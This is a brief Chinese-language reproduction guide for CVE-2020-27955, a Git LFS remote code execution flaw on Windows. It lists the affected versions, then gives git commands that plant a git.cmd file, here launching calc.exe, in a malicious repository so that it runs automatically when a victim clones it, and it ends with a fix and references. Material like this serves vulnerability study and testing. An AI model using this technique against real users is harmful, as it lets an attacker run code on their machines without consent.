CVE-2020-27955(Git-LFS RCE)

0x00 简介

Git LFS 是 Github 开发的一个 Git 的扩展,用于实现 Git 对大文件的支持

0x01 影响版本

Git-LFS(git-lfs)<= 2.12

一些受影响的产品包括Git,GitHub CLI,GitHub Desktop,Visual Studio,GitKraden,SmartGit,Sourcetree等

该漏洞影响仅windows平台

0x02 复现过程

环境搭建

​ 下载安装git-lfs小于2.12的版本

​ (该poc需在单独的Linux系统上(以防止在提交时在localhost上执行))

​ 只需添加名为以下文件的可执行文件,即可在恶意仓库的根目录中创建后门:

  • git.bat
  • git.exe
  • git.cmd
  • git.vbs

复现过程

​ 1 创建一个git仓库

  1. clone到本地并将可执行文件添加到仓库,

  1. 在目标机器上进行git clone,此时,恶意文件将会下载到本地,并由git-lfs扩展自动执行,无需交互

  1. 相关命令
1
2
3
4
5
6
7
git clone https://github.com/attacker/poc.git
echo calc.exe > git.cmd
git lfs track "*.dat"
echo "test" > large.dat
git add -A
git commit -m "poc"
git push -u origin master -f

0x03 漏洞修复

更新到最新版软件

0x04 参考链接

https://medium.com/bugbountywriteup/git-lfs-exploit-for-remote-code-execution-cve-2020-27955-e8f4786163c3

https://exploitbox.io/vuln/Git-Git-LFS-RCE-Exploit-CVE-2020-27955.html